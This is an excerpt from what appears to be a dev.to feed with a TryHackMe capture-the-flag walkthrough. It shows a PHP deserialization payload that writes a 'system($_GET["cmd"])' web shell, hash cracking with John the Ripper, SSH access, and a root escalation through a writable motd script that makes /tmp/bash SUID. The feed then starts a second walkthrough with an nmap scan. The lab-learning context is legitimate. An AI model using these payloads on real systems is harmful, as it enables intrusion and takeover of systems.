&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_3IgQNxp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k50cw9k3llt4xufv0exx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_3IgQNxp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k50cw9k3llt4xufv0exx.png" alt="Image description" width="594" height="204"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now the part of code that has a comment on it tells us that if the URL contains a &lt;code&gt;debug&lt;/code&gt; parameter, it will deserialize its content. That meant we could serialize an object of the class &lt;code&gt;FormSubmit&lt;/code&gt; with the file and message we wanted. The server would then deserialize it, and when it would reach the end of the PHP block, the object would be out of scope and the class destructor would be called and our message would be written to the file of our choice.&lt;/p&gt;

&lt;p&gt;So lets build a small code to fill in our shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FormSubmit&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$form_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'test.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;?php system($_GET["cmd"]); ?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;$obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormSubmit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$obj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Testing it out it gives us the serialized object.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;php testing.php
O:10:&lt;span class="s2"&gt;"FormSubmit"&lt;/span&gt;:2:&lt;span class="o"&gt;{&lt;/span&gt;s:9:&lt;span class="s2"&gt;"form_file"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:8:&lt;span class="s2"&gt;"test.php"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:7:&lt;span class="s2"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:30:&lt;span class="s2"&gt;"&amp;lt;?php system(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="s2"&gt;["&lt;/span&gt;cmd&lt;span class="s2"&gt;"]); ?&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now lets URL Encode it through &lt;code&gt;CyberChef&lt;/code&gt; or any other URL Encoder and just use it with the &lt;code&gt;debug&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://10.10.69.115/index.php?debug=O%3A10%3A%22FormSubmit%22%3A2%3A%7Bs%3A9%3A%22form_file%22%3Bs%3A8%3A%22test.php%22%3Bs%3A7%3A%22message%22%3Bs%3A30%3A%22%3C%3Fphp%20system(%24_GET%5B%22cmd%22%5D)%3B%20%3F%3E%22%3B%7D%20"&gt;http://debug.thm/index.php?debug=O%3A10%3A"FormSubmit"%3A2%3A{s%3A9%3A"form_file"%3Bs%3A8%3A"test.php"%3Bs%3A7%3A"message"%3Bs%3A30%3A"&amp;lt;%3Fphp system(%24_GET["cmd"])%3B %3F&amp;gt;"%3B}&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets visit the &lt;code&gt;test.php&lt;/code&gt; file along with a command to see if our payload worked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3j-E5yWl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c9b6kj1aurmd55yo0d3h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3j-E5yWl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c9b6kj1aurmd55yo0d3h.png" alt="Image description" width="671" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And it did. Running &lt;code&gt;ls -al&lt;/code&gt; gives us a file called &lt;code&gt;.htpasswd&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yqdrUGTD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8vfiwhkygg86of5dcnek.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yqdrUGTD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8vfiwhkygg86of5dcnek.png" alt="Image description" width="800" height="86"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking into the file we see some goody good credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9kPAybiZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ncnozelme8595xnv9jvl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9kPAybiZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ncnozelme8595xnv9jvl.png" alt="Image description" width="641" height="120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The password seems like a hash so just crack it out.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;john htpasswd.hash 
Created directory: /home/kali/.john
Warning: detected &lt;span class="nb"&gt;hash type&lt;/span&gt; &lt;span class="s2"&gt;"md5crypt"&lt;/span&gt;, but the string is also recognized as &lt;span class="s2"&gt;"md5crypt-long"&lt;/span&gt;
Use the &lt;span class="s2"&gt;"--format=md5crypt-long"&lt;/span&gt; option to force loading these as that &lt;span class="nb"&gt;type &lt;/span&gt;instead
Using default input encoding: UTF-8
Loaded 1 password &lt;span class="nb"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;md5crypt, crypt&lt;span class="o"&gt;(&lt;/span&gt;3&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$1$ &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;and variants&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;MD5 128/128 AVX 4x3]&lt;span class="o"&gt;)&lt;/span&gt;
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press &lt;span class="s1"&gt;'q'&lt;/span&gt; or Ctrl-C to abort, almost any other key &lt;span class="k"&gt;for &lt;/span&gt;status
Warning: Only 2 candidates buffered &lt;span class="k"&gt;for &lt;/span&gt;the current salt, minimum 24 needed &lt;span class="k"&gt;for &lt;/span&gt;performance.
Warning: Only 20 candidates buffered &lt;span class="k"&gt;for &lt;/span&gt;the current salt, minimum 24 needed &lt;span class="k"&gt;for &lt;/span&gt;performance.
Warning: Only 15 candidates buffered &lt;span class="k"&gt;for &lt;/span&gt;the current salt, minimum 24 needed &lt;span class="k"&gt;for &lt;/span&gt;performance.
Warning: Only 23 candidates buffered &lt;span class="k"&gt;for &lt;/span&gt;the current salt, minimum 24 needed &lt;span class="k"&gt;for &lt;/span&gt;performance.
Warning: Only 21 candidates buffered &lt;span class="k"&gt;for &lt;/span&gt;the current salt, minimum 24 needed &lt;span class="k"&gt;for &lt;/span&gt;performance.
Warning: Only 13 candidates buffered &lt;span class="k"&gt;for &lt;/span&gt;the current salt, minimum 24 needed &lt;span class="k"&gt;for &lt;/span&gt;performance.
Almost &lt;span class="k"&gt;done&lt;/span&gt;: Processing the remaining buffered candidate passwords, &lt;span class="k"&gt;if &lt;/span&gt;any.
Warning: Only 14 candidates buffered &lt;span class="k"&gt;for &lt;/span&gt;the current salt, minimum 24 needed &lt;span class="k"&gt;for &lt;/span&gt;performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
jamaica          &lt;span class="o"&gt;(&lt;/span&gt;james&lt;span class="o"&gt;)&lt;/span&gt;
1g 0:00:00:00 DONE 2/3 &lt;span class="o"&gt;(&lt;/span&gt;2023-09-23 10:57&lt;span class="o"&gt;)&lt;/span&gt; 11.11g/s 20288p/s 20288c/s 20288C/s francine..me
Use the &lt;span class="s2"&gt;"--show"&lt;/span&gt; option to display all of the cracked passwords reliably
Session completed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Saving the collected hash in a &lt;code&gt;htpasswd.hash&lt;/code&gt; file and running it through &lt;code&gt;John The Ripper&lt;/code&gt; gives us the password. This means its SSH time!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;ssh james@10.10.69.115                                                            255 ⨯
The authenticity of host &lt;span class="s1"&gt;'10.10.69.115 (10.10.69.115)'&lt;/span&gt; can&lt;span class="s1"&gt;'t be established.
ECDSA key fingerprint is SHA256:JCUiGJ9gC+EZEJeudS9yMKLVlE7MtpS2rolJudHcCbQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '&lt;/span&gt;10.10.69.115&lt;span class="s1"&gt;' (ECDSA) to the list of known hosts.
james@10.10.69.115'&lt;/span&gt;s password: 
Welcome to Ubuntu 16.04.6 LTS &lt;span class="o"&gt;(&lt;/span&gt;GNU/Linux 4.15.0-45-generic x86_64&lt;span class="o"&gt;)&lt;/span&gt;

 &lt;span class="k"&gt;*&lt;/span&gt; Documentation:  https://help.ubuntu.com
 &lt;span class="k"&gt;*&lt;/span&gt; Management:     https://landscape.canonical.com
 &lt;span class="k"&gt;*&lt;/span&gt; Support:        https://ubuntu.com/advantage

439 packages can be updated.
380 updates are security updates.

Last login: Wed Mar 10 18:36:58 2021 from 10.250.0.44
james@osboxes:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;Desktop    Downloads         Music              Pictures  Templates  Videos
Documents  examples.desktop  Note-To-James.txt  Public    user.txt
james@osboxes:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
7e37c84a66cc40b1c6bf700d08d28c20
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SSHing into the machine and opening &lt;code&gt;user.txt&lt;/code&gt; gives us the first flag. Time to go to root now.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;james@osboxes:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;Note-To-James.txt
Dear James,

As you may already know, we are soon planning to submit this machine to THM&lt;span class="s1"&gt;'s CyberSecurity Platform! Crazy... Isn'&lt;/span&gt;t it? 

But there&lt;span class="s1"&gt;'s still one thing I'&lt;/span&gt;d like you to &lt;span class="k"&gt;do&lt;/span&gt;, before the submission.

Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D

I gave you access to modify all these files :&lt;span class="o"&gt;)&lt;/span&gt; 

Oh and one last thing... You gotta hurry up! We don&lt;span class="s1"&gt;'t have much time left until the submission!

Best Regards,

root
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Another file &lt;code&gt;Note-To-James.txt&lt;/code&gt; is present inside the same directory which tells us the next steps. According to this note, we should be able to modify the Message Of The Day (&lt;code&gt;motd&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;james@osboxes:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; /etc/update-motd.d/
total 28
&lt;span class="nt"&gt;-rwxrwxr-x&lt;/span&gt; 1 root james 1220 Mar 10  2021 00-header
&lt;span class="nt"&gt;-rwxrwxr-x&lt;/span&gt; 1 root james    0 Mar 10  2021 00-header.save
&lt;span class="nt"&gt;-rwxrwxr-x&lt;/span&gt; 1 root james 1157 Jun 14  2016 10-help-text
&lt;span class="nt"&gt;-rwxrwxr-x&lt;/span&gt; 1 root james   97 Dec  7  2018 90-updates-available
&lt;span class="nt"&gt;-rwxrwxr-x&lt;/span&gt; 1 root james  299 Jul 22  2016 91-release-upgrade
&lt;span class="nt"&gt;-rwxrwxr-x&lt;/span&gt; 1 root james  142 Dec  7  2018 98-fsck-at-reboot
&lt;span class="nt"&gt;-rwxrwxr-x&lt;/span&gt; 1 root james  144 Dec  7  2018 98-reboot-required
&lt;span class="nt"&gt;-rwxrwxr-x&lt;/span&gt; 1 root james  604 Nov  5  2017 99-esm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We see that we have full rights to modify any of the file inside &lt;code&gt;motd&lt;/code&gt;. Lets edit the very first file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/sh                                                                                                                                                               &lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; /bin/bash /tmp/                                                                                                                                                      
&lt;span class="nb"&gt;chmod &lt;/span&gt;u+s /tmp/bash                                                                                                                                                     
&lt;span class="c"&gt;#    00-header - create the header of the MOTD                                                                                                                          &lt;/span&gt;
&lt;span class="c"&gt;#    Copyright (C) 2009-2010 Canonical Ltd.                                                                                                                             &lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;#    Authors: Dustin Kirkland &amp;lt;kirkland@canonical.com&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;#    This program is free software; you can redistribute it and/or modify&lt;/span&gt;
&lt;span class="c"&gt;#    it under the terms of the GNU General Public License as published by&lt;/span&gt;
&lt;span class="c"&gt;#    the Free Software Foundation; either version 2 of the License, or&lt;/span&gt;
&lt;span class="c"&gt;#    (at your option) any later version.&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;#    This program is distributed in the hope that it will be useful,&lt;/span&gt;
&lt;span class="c"&gt;#    but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/span&gt;
&lt;span class="c"&gt;#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;/span&gt;
&lt;span class="c"&gt;#    GNU General Public License for more details.&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;#    You should have received a copy of the GNU General Public License along&lt;/span&gt;
&lt;span class="c"&gt;#    with this program; if not, write to the Free Software Foundation, Inc.,&lt;/span&gt;
&lt;span class="c"&gt;#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; /etc/lsb-release &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; /etc/lsb-release

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DISTRIB_DESCRIPTION&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-x&lt;/span&gt; /usr/bin/lsb_release &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
        &lt;span class="c"&gt;# Fall back to using the very slow lsb_release utility&lt;/span&gt;
        &lt;span class="nv"&gt;DISTRIB_DESCRIPTION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;lsb_release &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"Welcome to %s (%s %s %s)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DISTRIB_DESCRIPTION&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I added two lines right beneath the shebang in the first line. Remember to use &lt;code&gt;nano&lt;/code&gt; to edit the files since its the least painful of the command line text editors to exist.&lt;/p&gt;

&lt;p&gt;Now just logout and SSH into the machine again to get your Message Of The Day (&lt;code&gt;motd&lt;/code&gt;) and see if our added commands our gonna work to get root.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;james@osboxes:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;james&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;james&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;james&lt;span class="o"&gt;)&lt;/span&gt;
james@osboxes:~&lt;span class="nv"&gt;$ &lt;/span&gt;/tmp/bash &lt;span class="nt"&gt;-p&lt;/span&gt;
bash-4.3# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;james&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;james&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;euid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;james&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we login again and run the &lt;code&gt;/tmp/bash -p&lt;/code&gt; we see that we went from 1001 to 0 real quick. We are at the root!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash-4.3# &lt;span class="nb"&gt;ls
&lt;/span&gt;Desktop  Documents  Downloads  examples.desktop  Music  Note-To-James.txt  Pictures  Public  Templates  user.txt  Videos
bash-4.3# &lt;span class="nb"&gt;cd&lt;/span&gt; ..
bash-4.3# &lt;span class="nb"&gt;ls
&lt;/span&gt;james  lost+found
bash-4.3# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
total 28
drwxr-xr-x  4 root  root   4096 Mar 10  2021 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 24 root  root   4096 Feb 28  2019 ..
drwx------ 17 james james  4096 Mar 10  2021 james
drwx------  2 root  root  16384 Feb 28  2019 lost+found
bash-4.3# &lt;span class="nb"&gt;cd&lt;/span&gt; ..
bash-4.3# &lt;span class="nb"&gt;ls
&lt;/span&gt;bin  boot  cdrom  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz
bash-4.3# &lt;span class="nb"&gt;cd &lt;/span&gt;root
bash-4.3# &lt;span class="nb"&gt;ls
&lt;/span&gt;root.txt
bash-4.3# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
3c8c3d0fe758c320d158e32f68fabf4b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigating a little more just leads us to the root flag.&lt;/p&gt;

</description>
      <category>php</category>
      <category>debug</category>
      <category>ctf</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe: Cat Pictures - Walkthrough</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Sun, 10 Sep 2023 11:17:08 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/tryhackme-cat-pictures-walkthrough-2pje</link>
      <guid>https://forem.com/hamzairshad02/tryhackme-cat-pictures-walkthrough-2pje</guid>
      <description>&lt;p&gt;Machine Link: &lt;a href="https://tryhackme.com/room/catpictures"&gt;Cat Pictures&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I was just browsing through TryHackMe and this picture had me intrigued.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mjMhkQEA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/di9vboxtiwj15xvyncmx.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mjMhkQEA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/di9vboxtiwj15xvyncmx.jpeg" alt="Image description" width="800" height="1037"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I launched the machine, and started off with the warmup (i.e. Nmap).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; 10.10.248.4                       
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-09-09 12:15 EDT
NSE: Loaded 155 scripts &lt;span class="k"&gt;for &lt;/span&gt;scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Initiating Ping Scan at 12:15
Scanning 10.10.248.4 &lt;span class="o"&gt;[&lt;/span&gt;2 ports]
Completed Ping Scan at 12:15, 0.46s elapsed &lt;span class="o"&gt;(&lt;/span&gt;1 total hosts&lt;span class="o"&gt;)&lt;/span&gt;
Initiating Parallel DNS resolution of 1 host. at 12:15
Completed Parallel DNS resolution of 1 host. at 12:15, 0.01s elapsed
Initiating Connect Scan at 12:15
Scanning 10.10.248.4 &lt;span class="o"&gt;[&lt;/span&gt;1000 ports]
Discovered open port 22/tcp on 10.10.248.4
Discovered open port 8080/tcp on 10.10.248.4
Connect Scan Timing: About 31.35% &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ETC: 12:17 &lt;span class="o"&gt;(&lt;/span&gt;0:01:08 remaining&lt;span class="o"&gt;)&lt;/span&gt;
Increasing send delay &lt;span class="k"&gt;for &lt;/span&gt;10.10.248.4 from 0 to 5 due to max_successful_tryno increase to 5
Increasing send delay &lt;span class="k"&gt;for &lt;/span&gt;10.10.248.4 from 5 to 10 due to max_successful_tryno increase to 6
Warning: 10.10.248.4 giving up on port because retransmission cap hit &lt;span class="o"&gt;(&lt;/span&gt;6&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Completed Connect Scan at 12:16, 68.32s elapsed &lt;span class="o"&gt;(&lt;/span&gt;1000 total ports&lt;span class="o"&gt;)&lt;/span&gt;
Initiating Service scan at 12:16
Scanning 2 services on 10.10.248.4
Completed Service scan at 12:16, 10.91s elapsed &lt;span class="o"&gt;(&lt;/span&gt;2 services on 1 host&lt;span class="o"&gt;)&lt;/span&gt;
NSE: Script scanning 10.10.248.4.
Initiating NSE at 12:16
Completed NSE at 12:17, 13.30s elapsed
Initiating NSE at 12:17
Completed NSE at 12:17, 2.00s elapsed
Initiating NSE at 12:17
Completed NSE at 12:17, 0.00s elapsed
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.248.4
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.42s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 992 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;conn-refused&lt;span class="o"&gt;)&lt;/span&gt;
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey: 
|   2048 37436480d35a746281b7806b1a23d84a &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
|   256 53c682efd27733efc13d9c1513540eb2 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 ba97c323d4f2cc082ce12b3006189541 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
163/tcp   filtered cmip-man
1236/tcp  filtered bvcontrol
1717/tcp  filtered fj-hdnet
2522/tcp  filtered windb
4550/tcp  filtered gds-adppiw-db
8080/tcp  open     http          Apache httpd 2.4.46 &lt;span class="o"&gt;((&lt;/span&gt;Unix&lt;span class="o"&gt;)&lt;/span&gt; OpenSSL/1.1.1d PHP/7.3.27&lt;span class="o"&gt;)&lt;/span&gt;
